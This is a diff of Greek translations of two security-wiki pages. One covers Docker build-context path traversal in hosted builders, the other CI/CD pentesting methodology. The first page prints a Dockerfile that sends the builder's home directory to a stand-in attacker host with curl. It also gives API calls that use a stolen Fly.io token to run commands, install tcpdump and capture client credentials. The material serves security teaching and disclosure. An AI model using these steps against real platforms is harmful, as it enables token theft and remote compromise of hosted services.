diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md
index 1fbef700c..c0ae99331 100644
--- a/src/pentesting-ci-cd/docker-build-context-abuse.md
+++ b/src/pentesting-ci-cd/docker-build-context-abuse.md
@@ -1,29 +1,29 @@
-# Κατάχρηση Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+# Κατάχρηση του Docker Build Context σε Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
 
 {{#include ../banners/hacktricks-training.md}}
 
-## TL;DR
+## Σύντομη περίληψη
 
-Αν μια CI/CD πλατφόρμα ή hosted builder επιτρέπει σε contributors να καθορίζουν το Docker build context path και το Dockerfile path, συχνά μπορείς να ορίσεις το context σε έναν parent directory (π.χ. "..") και να κάνεις αρχεία του host μέρος του build context. Έπειτα, ένα attacker-controlled Dockerfile μπορεί να COPY και να exfiltrate secrets που βρίσκονται στο home του builder χρήστη (π.χ. ~/.docker/config.json). Κλεμμένα registry tokens μπορεί επίσης να λειτουργήσουν ενάντια στα control-plane APIs του provider, επιτρέποντας org-wide RCE.
+Αν μια πλατφόρμα CI/CD ή ένας hosted builder επιτρέπει στους συνεισφέροντες να καθορίζουν τη διαδρομή του Docker build context και τη διαδρομή του Dockerfile, συχνά μπορείτε να ορίσετε το context σε έναν γονικό κατάλογο (π.χ. "..") και να κάνετε αρχεία του host μέρος του build context. Έπειτα, ένα Dockerfile υπό τον έλεγχο του επιτιθέμενου μπορεί να κάνει COPY και να exfiltrate μυστικά που βρέθηκαν στο home του χρήστη του builder (π.χ. ~/.docker/config.json). Κλεμμένα registry tokens μπορεί επίσης να λειτουργήσουν ενάντια στα control-plane APIs του provider, επιτρέποντας org-wide RCE.
 
 ## Επιφάνεια επίθεσης
 
-Πολλές hosted builder/registry υπηρεσίες κάνουν περίπου τα εξής όταν build-άρουν user-submitted images:
-- Read a repo-level config that includes:
-- build context path (sent to the Docker daemon)
-- Dockerfile path relative to that context
-- Copy the indicated build context directory and the Dockerfile to the Docker daemon
-- Build the image and run it as a hosted service
+Πολλές υπηρεσίες hosted builder/registry κάνουν περίπου τα εξής όταν χτίζουν user-submitted images:
+- Διαβάζουν ένα repo-level config που περιλαμβάνει:
+  - διαδρομή του build context (αποστέλλεται στον Docker daemon)
+  - διαδρομή Dockerfile σχετική με αυτό το context
+- Αντιγράφουν τον υποδειχθέντα κατάλογο build context και το Dockerfile στον Docker daemon
+- Κατασκευάζουν το image και το τρέχουν ως hosted service
 
-Αν η πλατφόρμα δεν canonicalize και δεν περιορίζει το build context, ένας χρήστης μπορεί να το ορίσει σε μια τοποθεσία εκτός του repository (path traversal), προκαλώντας αρχεία του host που είναι αναγνώσιμα από τον build user να γίνουν μέρος του build context και να είναι διαθέσιμα για COPY μέσα στο Dockerfile.
+Εάν η πλατφόρμα δεν κανονικοποιεί και δεν περιορίζει το build context, ένας χρήστης μπορεί να το ορίσει σε μια τοποθεσία έξω από το repository (path traversal), προκαλώντας αρχεία του host που είναι αναγνώσιμα από τον build χρήστη να γίνουν μέρος του build context και να είναι διαθέσιμα για COPY στο Dockerfile.
 
-Πρακτικοί περιορισμοί που παρατηρούνται συνήθως:
-- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
-- The build user must have read access to files included in the context; special device files can break the copy.
+Συνήθεις πρακτικοί περιορισμοί που παρατηρούνται:
+- Το Dockerfile πρέπει να βρίσκεται εντός της επιλεγμένης διαδρομής context και η διαδρομή του πρέπει να είναι γνωστή εκ των προτέρων.
+- Ο build χρήστης πρέπει να έχει δικαιώματα ανάγνωσης στα αρχεία που περιλαμβάνονται στο context· ειδικά αρχεία συσκευών μπορούν να προκαλέσουν αποτυχία στην αντιγραφή.
 
 ## PoC: Path traversal via Docker build context
 
-Παράδειγμα malicious server config που δηλώνει ένα Dockerfile μέσα στο parent directory context:
+Παράδειγμα κακόβουλης server config που δηλώνει ένα Dockerfile εντός του context του γονικού καταλόγου:
 ```yaml
 runtime: "container"
 build:
@@ -41,10 +41,10 @@ exampleConfig:
 apiKey: "sk-example123"
 ```
 Σημειώσεις:
-- Η χρήση των ".." συχνά επιλύεται στο home του χρήστη builder (π.χ., /home/builder), το οποίο συνήθως περιέχει ευαίσθητα αρχεία.
-- Τοποθετήστε το Dockerfile σας κάτω από το όνομα του φακέλου του repo (π.χ., repo "test" → test/Dockerfile) ώστε να παραμένει εντός του expanded parent context.
+- Η χρήση ".." συχνά επιλύεται στον κατάλογο home του χρήστη builder (π.χ. /home/builder), ο οποίος συνήθως περιέχει ευαίσθητα αρχεία.
+- Τοποθετήστε το Dockerfile κάτω από το όνομα καταλόγου του repo (π.χ. repo "test" → test/Dockerfile) ώστε να παραμένει εντός του επεκταμένου γονικού πλαισίου.
 
-## PoC: Dockerfile to ingest and exfiltrate the host context
+## PoC: Dockerfile για την εισαγωγή και exfiltrate του host context
 ```dockerfile
 FROM alpine
 RUN apk add --no-cache curl
@@ -52,19 +52,19 @@ RUN mkdir /data
 COPY . /data                      # Copies entire build context (now builder’s $HOME)
 RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
 ```
-Στόχοι που ανακτώνται συχνά από το $HOME:
+Στόχοι που συνήθως ανακτώνται από το $HOME:
 - ~/.docker/config.json (registry auths/tokens)
-- Άλλα cloud/CLI cache και config (π.χ., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
 
-Tip: Ακόμα κι αν υπάρχει .dockerignore στο αποθετήριο, η ευάλωτη επιλογή context από την πλευρά της πλατφόρμας εξακολουθεί να καθορίζει τι αποστέλλεται στον daemon. Αν η πλατφόρμα αντιγράψει το επιλεγμένο path στον daemon πριν αξιολογήσει το .dockerignore του repo σας, αρχεία του host ενδέχεται να εκτεθούν.
+Συμβουλή: Ακόμη και με ένα .dockerignore στο repository, η ευπαθής επιλογή context από την πλευρά της πλατφόρμας εξακολουθεί να καθορίζει τι αποστέλλεται στον daemon. Εάν η πλατφόρμα αντιγράφει το επιλεγμένο path στον daemon πριν αξιολογήσει το .dockerignore του repo σας, αρχεία του host μπορεί να εκτεθούν.
 
-## Cloud pivot with overprivileged tokens (παράδειγμα: Fly.io Machines API)
+## Pivot στο cloud με overprivileged tokens (παράδειγμα: Fly.io Machines API)
 
-Μερικές πλατφόρμες εκδίδουν ένα ενιαίο bearer token που μπορεί να χρησιμοποιηθεί τόσο για το container registry όσο και για το control-plane API. Αν εξάγετε ένα registry token, δοκιμάστε το στο provider API.
+Κάποιες πλατφόρμες εκδίδουν ένα ενιαίο bearer token που είναι χρήσιμο τόσο για το container registry όσο και για το control-plane API. Εάν exfiltrate ένα registry token, δοκιμάστε το στο provider API.
 
 Παραδείγματα κλήσεων API προς το Fly.io Machines API χρησιμοποιώντας το κλεμμένο token από ~/.docker/config.json:
 
-Απαρίθμηση εφαρμογών σε ένα org:
+Απαρίθμηση apps σε ένα org:
 ```bash
 curl -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps?org_slug=smithery"
@@ -75,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
 ```
-Αποτέλεσμα: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.
+Αποτέλεσμα: org-wide remote code execution σε όλες τις φιλοξενούμενες εφαρμογές όπου το token έχει επαρκή προνόμια.
 
-## Κλοπή secrets από compromised hosted services
+## Κλοπή μυστικών από συμβιβασμένες φιλοξενούμενες υπηρεσίες
 
-Με exec/RCE σε hosted servers, μπορείτε να συλλέξετε client-supplied secrets (API keys, tokens) ή να πραγματοποιήσετε prompt-injection attacks. Παράδειγμα: εγκαταστήστε tcpdump και καταγράψτε HTTP traffic στην port 8080 για να εξαγάγετε inbound credentials.
+Με exec/RCE σε φιλοξενούμενους διακομιστές, μπορείτε να συλλέξετε μυστικά που παρέχονται από τον πελάτη (API keys, tokens) ή να πραγματοποιήσετε prompt-injection attacks. Παράδειγμα: εγκαταστήστε tcpdump και καταγράψτε HTTP traffic on port 8080 για να εξάγετε inbound credentials.
 ```bash
 # Install tcpdump inside the machine
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
 ```
-Οι captured requests συχνά περιέχουν client credentials στα headers, bodies ή query params.
+Τα captured requests συχνά περιέχουν client credentials σε headers, bodies ή query params.
 
 ## Αναφορές
 
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index da486f650..5c5d6733d 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS σημαίνει **Version Control System**, αυτό το σύστημα επιτρέπει στους προγραμματιστές να **διαχειρίζονται τον πηγαίο κώδικά τους**. Το πιο διαδεδομένο είναι το **git** και συνήθως οι εταιρείες το χρησιμοποιούν σε μία από τις παρακάτω **πλατφόρμες**:
+VCS σημαίνει **Σύστημα Ελέγχου Εκδόσεων (Version Control System)**, αυτό το σύστημα επιτρέπει στους προγραμματιστές να **διαχειρίζονται τον πηγαίο κώδικα τους**. Ο πιο κοινός είναι **git** και συνήθως θα βρείτε εταιρείες να το χρησιμοποιούν σε μία από τις ακόλουθες **πλατφόρμες**:
 
 - Github
 - Gitlab
@@ -18,39 +18,39 @@ VCS σημαίνει **Version Control System**, αυτό το σύστημα ε
 
 ## CI/CD Pipelines
 
-Τα CI/CD pipelines επιτρέπουν στους προγραμματιστές να **αυτοματοποιούν την εκτέλεση κώδικα** για διάφορους σκοπούς, όπως build, testing και deployment εφαρμογών. Αυτά τα αυτοματοποιημένα workflows **προκαλούνται από συγκεκριμένες ενέργειες**, όπως pushes, pull requests ή προγραμματισμένες εργασίες. Βοηθούν στο να γίνει πιο ομαλή η διαδικασία από το development έως το production.
+Τα CI/CD pipelines επιτρέπουν στους προγραμματιστές να **αυτοματοποιούν την εκτέλεση κώδικα** για διάφορους σκοπούς, συμπεριλαμβανομένου του build, των tests και της ανάπτυξης εφαρμογών. Αυτά τα αυτοματοποιημένα workflows **ενεργοποιούνται από συγκεκριμένες ενέργειες**, όπως code pushes, pull requests ή προγραμματισμένες εργασίες. Είναι χρήσιμα για να απλοποιούν τη διαδικασία από το development μέχρι το production.
 
-Ωστόσο, αυτά τα συστήματα πρέπει να **τρέξουν κάπου** και συνήθως χρειάζονται **privileged credentials για να αναπτυχθεί κώδικας ή να αποκτηθούν ευαίσθητες πληροφορίες**.
+Ωστόσο, αυτά τα συστήματα πρέπει να **εκτελούνται κάπου** και συνήθως με **privileged credentials για να deploy-άρουν κώδικα ή να έχουν πρόσβαση σε sensitive information**.
 
-## VCS Pentesting Methodology
+## VCS Pentesting Μεθοδολογία
 
 > [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> Ακόμα κι αν μερικές VCS πλατφόρμες επιτρέπουν τη δημιουργία pipelines, σε αυτή την ενότητα θα αναλύσουμε μόνο πιθανούς επιθέσεις στον έλεγχο του πηγαίου κώδικα.
 
-Πλατφόρμες που περιέχουν τον πηγαίο κώδικα του project σας φιλοξενούν ευαίσθητες πληροφορίες και πρέπει να δοθεί μεγάλη προσοχή στα permissions που χορηγούνται εντός της πλατφόρμας. Αυτά είναι μερικά κοινά προβλήματα σε VCS πλατφόρμες που ένας attacker θα μπορούσε να εκμεταλλευτεί:
+Οι πλατφόρμες που περιέχουν τον πηγαίο κώδικα του έργου σας περιέχουν ευαίσθητες πληροφορίες και πρέπει να είστε πολύ προσεκτικοί με τα permissions που δίνονται μέσα σε αυτή την πλατφόρμα. Αυτά είναι μερικά κοινά προβλήματα στις VCS πλατφόρμες που ένας attacker θα μπορούσε να εκμεταλλευτεί:
 
-- **Leaks**: Αν ο κώδικάς σας περιέχει leaks στα commits και ο attacker έχει πρόσβαση στο repo (επειδή είναι public ή επειδή έχει πρόσβαση), μπορεί να ανακαλύψει τα leaks.
-- **Access**: Αν ένας attacker μπορεί να **έχει access σε λογαριασμό μέσα στην VCS πλατφόρμα** μπορεί να αποκτήσει **μεγαλύτερη ορατότητα και δικαιώματα**.
-- **Register**: Κάποιες πλατφόρμες επιτρέπουν απλά σε εξωτερικούς χρήστες να δημιουργήσουν account.
-- **SSO**: Κάποιες πλατφόρμες δεν επιτρέπουν εγγραφή, αλλά επιτρέπουν σε οποιονδήποτε να συνδεθεί με έγκυρο SSO (οπότε ένας attacker θα μπορούσε να χρησιμοποιήσει π.χ. το github account του για να μπει).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... υπάρχουν διαφορετικοί τύποι tokens που ένας χρήστης μπορεί να κλέψει για να αποκτήσει πρόσβαση σε ένα repo.
-- **Webhooks**: Οι VCS πλατφόρμες επιτρέπουν τη δημιουργία webhooks. Αν δεν είναι **protected** με μη ορατά secrets, ένας **attacker θα μπορούσε να τα εκμεταλλευτεί**.
-- Αν δεν υπάρχει secret, ο attacker μπορεί να εκμεταλλευτεί το webhook της τρίτης πλατφόρμας
-- Αν το secret βρίσκεται στο URL, συμβαίνει το ίδιο και ο attacker αποκτά και το secret
-- **Code compromise:** Αν ένας malicious actor έχει κάποιο είδος **write** access στα repos, μπορεί να προσπαθήσει να **ενσωματώσει malicious code**. Για να το πετύχει ίσως χρειαστεί να **bypass branch protections**. Αυτές οι ενέργειες μπορούν να γίνουν με διαφορετικούς στόχους:
-  - Compromise το main branch για **compromise production**.
-  - Compromise το main (ή άλλα branches) για να **compromise τα machines των developers** (εφόσον αυτοί συνήθως εκτελούν tests, terraform ή άλλα πράγματα μέσα στο repo στα μηχανήματά τους).
-- **Compromise the pipeline** (βλέπε επόμενη ενότητα)
+- **Leaks**: Αν ο κώδικάς σας περιέχει leaks στα commits και ο attacker μπορεί να έχει πρόσβαση στο repo (επειδή είναι public ή επειδή έχει πρόσβαση), θα μπορούσε να ανακαλύψει αυτά τα leaks.
+- **Access**: Αν ένας attacker μπορεί να **έχει πρόσβαση σε έναν λογαριασμό μέσα στην VCS platform** θα μπορούσε να αποκτήσει **μεγαλύτερη ορατότητα και permissions**.
+- **Register**: Κάποιες πλατφόρμες απλά επιτρέπουν σε εξωτερικούς χρήστες να δημιουργήσουν account.
+- **SSO**: Κάποιες πλατφόρμες δεν επιτρέπουν registration, αλλά επιτρέπουν σε οποιονδήποτε να μπει με έγκυρο SSO (οπότε ένας attacker θα μπορούσε να χρησιμοποιήσει το github account του για παράδειγμα).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... υπάρχουν διάφοροι τύποι tokens που ένας χρήστης θα μπορούσε να κλέψει για να αποκτήσει με κάποιον τρόπο πρόσβαση σε ένα repo.
+- **Webhooks**: Οι VCS πλατφόρμες επιτρέπουν τη δημιουργία webhooks. Αν δεν είναι **προστατευμένα** με μη ορατά secrets ένας **attacker θα μπορούσε να τα εκμεταλλευτεί**.
+- Αν δεν υπάρχει κάποιο secret, ο attacker θα μπορούσε να εκμεταλλευτεί το webhook της τρίτης πλατφόρμας
+- Αν το secret είναι στο URL, το ίδιο συμβαίνει και ο attacker αποκτά επίσης το secret
+- **Code compromise:** Αν ένας κακόβουλος actor έχει κάποιο είδος **write** πρόσβασης πάνω στα repos, θα μπορούσε να προσπαθήσει να **inject malicious code**. Για να έχει επιτυχία ίσως χρειαστεί να **bypass branch protections**. Αυτές οι ενέργειες μπορούν να γίνουν με διαφορετικούς στόχους στη μέση:
+  - Compromise the main branch to **compromise production**.
+  - Compromise the main (or other branches) to **compromise developers machines** (καθώς συνήθως εκτελούν tests, terraform ή άλλα πράγματα μέσα στο repo στους υπολογιστές τους).
+- **Compromise the pipeline** (check next section)
 
-## Pipelines Pentesting Methodology
+## Pipelines Pentesting Μεθοδολογία
 
-Ο πιο κοινός τρόπος να οριστεί ένα pipeline είναι με χρήση ενός **CI configuration file που φιλοξενείται στο repository** που κάνει build. Αυτό το αρχείο περιγράφει τη σειρά των jobs που θα εκτελεστούν, τις συνθήκες που επηρεάζουν τη ροή και τις ρυθμίσεις του build environment.\
-Αυτά τα αρχεία έχουν τυπικά ένα σταθερό όνομα και format, για παράδειγμα — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), και τα GitHub Actions YAML αρχεία κάτω από .github/workflows. Όταν ενεργοποιείται, το pipeline job **τραβάει τον κώδικα** από την επιλεγμένη πηγή (π.χ. commit / branch) και **τρέχει τις εντολές που καθορίζονται στο CI configuration file** πάνω σε αυτόν τον κώδικα.
+Ο πιο κοινός τρόπος να οριστεί ένα pipeline είναι με τη χρήση ενός **CI configuration file που φιλοξενείται στο repository** που το pipeline θα χτίσει. Αυτό το αρχείο περιγράφει τη σειρά των jobs που θα εκτελεστούν, τις συνθήκες που επηρεάζουν τη ροή και τις ρυθμίσεις του περιβάλλοντος build.\
+Αυτά τα αρχεία συνήθως έχουν ένα σταθερό όνομα και format, για παράδειγμα — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) και τα GitHub Actions YAML αρχεία που βρίσκονται κάτω από .github/workflows. Όταν ενεργοποιηθεί, το pipeline job **τραβάει τον κώδικα** από την επιλεγμένη πηγή (π.χ. commit / branch), και **εκτελεί τις εντολές που καθορίζονται στο CI configuration file** πάνω σε αυτόν τον κώδικα.
 
-Άρα ο τελικός στόχος του attacker είναι να με κάποιο τρόπο **compromise αυτά τα configuration files** ή τις **εντολές που εκτελούν**.
+Επομένως ο τελικός στόχος του attacker είναι με κάποιον τρόπο να **compromise αυτά τα configuration files** ή τις **εντολές που εκτελούν**.
 
 > [!TIP]
-> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
+> Κάποιοι hosted builders επιτρέπουν σε contributors να επιλέξουν το Docker build context και το Dockerfile path. Αν το context είναι υπό τον έλεγχο του attacker, μπορείτε να το ορίσετε εκτός του repo (π.χ., "..") για να εισάγετε αρχεία του host κατά τη διάρκεια του build και να εξάγετε secrets. Δείτε:
 >
 >{{#ref}}
 >docker-build-context-abuse.md
@@ -58,53 +58,53 @@ VCS σημαίνει **Version Control System**, αυτό το σύστημα ε
 
 ### PPE - Poisoned Pipeline Execution
 
-Η Poisoned Pipeline Execution (PPE) διαδρομή εκμεταλλεύεται permissions σε ένα SCM repository για να χειραγωγήσει ένα CI pipeline και να εκτελέσει επιβλαβείς εντολές. Χρήστες με τα απαραίτητα permissions μπορούν να τροποποιήσουν CI configuration files ή άλλα αρχεία που χρησιμοποιεί το pipeline job ώστε να συμπεριλάβουν malicious commands. Αυτό "δηλητηριάζει" το CI pipeline, οδηγώντας στην εκτέλεση αυτών των malicious εντολών.
+Η Poisoned Pipeline Execution (PPE) διαδρομή εκμεταλλεύεται permissions σε ένα SCM repository για να χειραγωγήσει ένα CI pipeline και να εκτελέσει κακόβουλες εντολές. Χρήστες με τα απαραίτητα permissions μπορούν να τροποποιήσουν CI configuration files ή άλλα αρχεία που χρησιμοποιεί το pipeline job για να συμπεριλάβουν κακόβουλες εντολές. Αυτό "δηλητηριάζει" το CI pipeline, οδηγώντας στην εκτέλεση αυτών των κακόβουλων εντολών.
 
-Για να είναι επιτυχημένος ένας malicious actor σε ένα PPE attack πρέπει να μπορεί να:
+Για να έχει επιτυχία ένας malicious actor εκτελώντας μια PPE επίθεση χρειάζεται να μπορεί να:
 
-- Έχει **write access στην VCS πλατφόρμα**, καθώς συνήθως τα pipelines ενεργοποιούνται όταν γίνεται push ή pull request. (Δείτε την VCS pentesting methodology για περίληψη τρόπων απόκτησης access).
+- Έχει **write access στο VCS platform**, καθώς συνήθως τα pipelines ενεργοποιούνται όταν γίνει push ή δημιουργηθεί pull request. (Δείτε τη VCS pentesting methodology για περίληψη των τρόπων απόκτησης πρόσβασης).
 - Σημειώστε ότι μερικές φορές ένα **external PR μετράει ως "write access"**.
-- Ακόμα κι αν έχει write permissions, πρέπει να είναι σίγουρος ότι μπορεί να **τροποποιήσει το CI config file ή άλλα αρχεία στα οποία βασίζεται το config**.
-- Για αυτό μπορεί να χρειαστεί να **bypass branch protections**.
+- Ακόμα κι αν έχει write permissions, πρέπει να είναι σίγουρος ότι μπορεί να **τροποποιήσει το CI config file ή άλλα αρχεία που το config βασίζεται**.
+- Για αυτό, ίσως χρειαστεί να είναι σε θέση να **bypass branch protections**.
 
-Υπάρχουν 3 flavours του PPE:
+Υπάρχουν 3 flavours της PPE:
 
 - **D-PPE**: Μια **Direct PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί το CI config** αρχείο που πρόκειται να εκτελεστεί.
-- **I-DDE**: Μια **Indirect PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί** ένα **file** που το CI config που πρόκειται να εκτελεστεί **εξαρτάται από** (όπως ένα make file ή ένα terraform config).
-- **Public PPE or 3PE**: Σε κάποιες περιπτώσεις τα pipelines μπορούν να **προκαλούνται από χρήστες που δεν έχουν write access στο repo** (και που μπορεί να μην είναι καν μέρος της org) επειδή μπορούν να στείλουν ένα PR.
-- **3PE Command Injection**: Συνήθως, CI/CD pipelines θα **ορίσουν environment variables** με **πληροφορίες για το PR**. Αν αυτή η τιμή μπορεί να ελεγχθεί από attacker (όπως ο τίτλος του PR) και **χρησιμοποιείται** σε **επικίνδυνη θέση** (όπως εκτέλεση sh commands), ένας attacker μπορεί να **ενθέσει εντολές εκεί**.
+- **I-DDE**: Μια **Indirect PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί** ένα **αρχείο** από το οποίο το CI config αρχείο που πρόκειται να εκτελεστεί **εξαρτάται** (όπως ένα make file ή μια terraform config).
+- **Public PPE or 3PE**: Σε μερικές περιπτώσεις τα pipelines μπορούν να **ενεργοποιηθούν από χρήστες που δεν έχουν write access στο repo** (και που μπορεί να μην είναι καν μέλη της οργάνωσης) επειδή μπορούν να στείλουν ένα PR.
+- **3PE Command Injection**: Συνήθως, τα CI/CD pipelines θα **ορίζουν environment variables** με **πληροφορίες για το PR**. Αν αυτή η τιμή μπορεί να ελεγχθεί από έναν attacker (όπως ο τίτλος του PR) και **χρησιμοποιείται** σε ένα **επικίνδυνο σημείο** (όπως η εκτέλεση sh εντολών), ένας attacker μπορεί να **εγχχύσει εντολές εκεί**.
 
-### Οφέλη Εκμετάλλευσης
+### Exploitation Benefits
 
-Γνωρίζοντας τις 3 flavour για να δηλητηριάσει κανείς ένα pipeline, ας δούμε τι μπορεί να αποκτήσει ένας attacker μετά από επιτυχή εκμετάλλευση:
+Γνωρίζοντας τις 3 flavours για το poison ενός pipeline, ας δούμε τι θα μπορούσε να αποκτήσει ένας attacker μετά από μια επιτυχή εκμετάλλευση:
 
-- **Secrets**: Όπως αναφέρθηκε προηγουμένως, τα pipelines χρειάζονται **privileges** για τα jobs τους (να πάρουν τον κώδικα, να τον buildάρουν, να τον αναπτύξουν...) και αυτά τα privileges συνήθως **παρέχονται ως secrets**. Αυτά τα secrets είναι συνήθως προσβάσιμα μέσω **env variables ή αρχείων μέσα στο σύστημα**. Επομένως ένας attacker θα προσπαθήσει πάντα να εξάγει όσο το δυνατόν περισσότερα secrets.
-- Ανάλογα με την πλατφόρμα pipeline, ο attacker **μπορεί να χρειαστεί να δηλώσει τα secrets στο config**. Αυτό σημαίνει ότι αν ο attacker δεν μπορεί να τροποποιήσει το CI configuration pipeline (**I-PPE** για παράδειγμα), μπορεί να **εξάγει μόνο τα secrets που ήδη έχει το pipeline**.
-- **Computation**: Ο κώδικας εκτελείται κάπου· ανάλογα με το που εκτελείται, ένας attacker μπορεί να καταφέρει pivot περαιτέρω.
-- **On-Premises**: Αν τα pipelines εκτελούνται on-premises, ένας attacker μπορεί να βρεθεί στο **εσωτερικό δίκτυο με πρόσβαση σε περισσότερους πόρους**.
-- **Cloud**: Ο attacker θα μπορούσε να αποκτήσει πρόσβαση **σε άλλες μηχανές στο cloud** αλλά και να **εξάγει** IAM roles/service accounts **tokens** για να αποκτήσει περαιτέρω πρόσβαση μέσα στο cloud.
-- **Platforms machine**: Κάποιες φορές τα jobs θα εκτελούνται μέσα στις **μηχανές της πλατφόρμας pipelines**, που συνήθως βρίσκονται σε ένα cloud χωρίς επιπλέον access.
-- **Select it:** Μερικές φορές η **πλατφόρμα pipelines έχει διαμορφώσει πολλές μηχανές** και αν μπορείτε να **τροποποιήσετε το CI configuration file** μπορείτε να **υποδείξετε που θέλετε να τρέξει ο malicious κώδικας**. Σε αυτή την περίπτωση, ένας attacker πιθανόν θα τρέξει έναν reverse shell σε κάθε πιθανή μηχανή για να προσπαθήσει να την εκμεταλλευτεί περαιτέρω.
-- **Compromise production**: Αν βρίσκεστε μέσα στο pipeline και η τελική έκδοση χτίζεται και αναπτύσσεται από αυτό, μπορείτε να **compromise τον κώδικα που θα τρέξει σε production**.
+- **Secrets**: Όπως αναφέρθηκε προηγουμένως, τα pipelines απαιτούν **privileges** για τα jobs τους (retrieve the code, build it, deploy it...) και αυτά τα privileges συνήθως **παρέχονται ως secrets**. Αυτά τα secrets συνήθως είναι προσβάσιμα μέσω **env variables ή αρχείων μέσα στο σύστημα**. Επομένως ένας attacker θα προσπαθήσει πάντα να εξάγει όσο το δυνατόν περισσότερα secrets.
+- Ανάλογα με την πλατφόρμα του pipeline ο attacker **μπορεί να χρειαστεί να καθορίσει τα secrets στο config**. Αυτό σημαίνει ότι αν ο attacker δεν μπορεί να τροποποιήσει το CI configuration pipeline (**I-PPE** για παράδειγμα), θα μπορούσε **μόνο να εξάγει τα secrets που έχει εκείνο το pipeline**.
+- **Computation**: Ο κώδικας εκτελείται κάπου, ανάλογα με το πού εκτελείται ένας attacker μπορεί να μπορέσει να pivot-άρει περαιτέρω.
+- **On-Premises**: Αν τα pipelines εκτελούνται on-premises, ένας attacker μπορεί να βρεθεί σε ένα **εσωτερικό δίκτυο με πρόσβαση σε περισσότερους πόρους**.
+- **Cloud**: Ο attacker θα μπορούσε να αποκτήσει πρόσβαση **σε άλλες μηχανές στο cloud** αλλά και να **εξάγει** IAM roles/service accounts **tokens** από αυτό για να αποκτήσει **περαιτέρω πρόσβαση στο cloud**.
+- **Platforms machine**: Κάποιες φορές τα jobs θα εκτελούνται μέσα στις **μηχανές της πλατφόρμας pipelines**, οι οποίες συνήθως βρίσκονται σε ένα cloud χωρίς περαιτέρω πρόσβαση.
+- **Επιλογή εκτέλεσης:** Μερικές φορές η **πλατφόρμα pipelines θα έχει ρυθμίσει πολλές μηχανές** και αν μπορείτε να **τροποποιήσετε το CI configuration file** μπορείτε να **υποδείξετε που θέλετε να τρέξει ο κακόβουλος κώδικας**. Σε αυτή την περίπτωση, ένας attacker πιθανότατα θα τρέξει ένα reverse shell σε κάθε πιθανή μηχανή για να προσπαθήσει να την εκμεταλλευτεί περαιτέρω.
+- **Compromise production**: Αν είστε μέσα στο pipeline και η τελική έκδοση χτίζεται και deploy-άρεται από αυτό, μπορείτε να **compromise-άρετε τον κώδικα που θα τρέχει τελικά σε production**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) είναι ένα open-source εργαλείο για auditing του software supply chain stack σας για security compliance βασισμένο σε έναν νέο [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Το auditing εστιάζει στην ολόκληρη διαδικασία SDLC, όπου μπορεί να αποκαλύψει κινδύνους από το code έως το deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) είναι ένα open-source εργαλείο για auditing του software supply chain stack σας για συμμόρφωση ασφαλείας βασισμένο σε ένα νέο [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Το auditing εστιάζει στην ολόκληρη διαδικασία SDLC, όπου μπορεί να αποκαλύψει κινδύνους από το code time μέχρι το deploy time.
 
 ### Top 10 CI/CD Security Risk
 
-Δείτε αυτό το ενδιαφέρον άρθρο για τα top 10 CI/CD risks σύμφωνα με την Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Δείτε αυτό το ενδιαφέρον άρθρο για τους top 10 CI/CD risks σύμφωνα με την Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- Σε κάθε πλατφόρμα που μπορείτε να τρέξετε τοπικά θα βρείτε πώς να το ξεκινήσετε τοπικά ώστε να το ρυθμίσετε όπως θέλετε για να το δοκιμάσετε
+- Σε κάθε πλατφόρμα που μπορείτε να τρέξετε τοπικά θα βρείτε οδηγίες για το πώς να την ξεκινήσετε τοπικά ώστε να τη διαμορφώσετε όπως θέλετε για να τη δοκιμάσετε
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
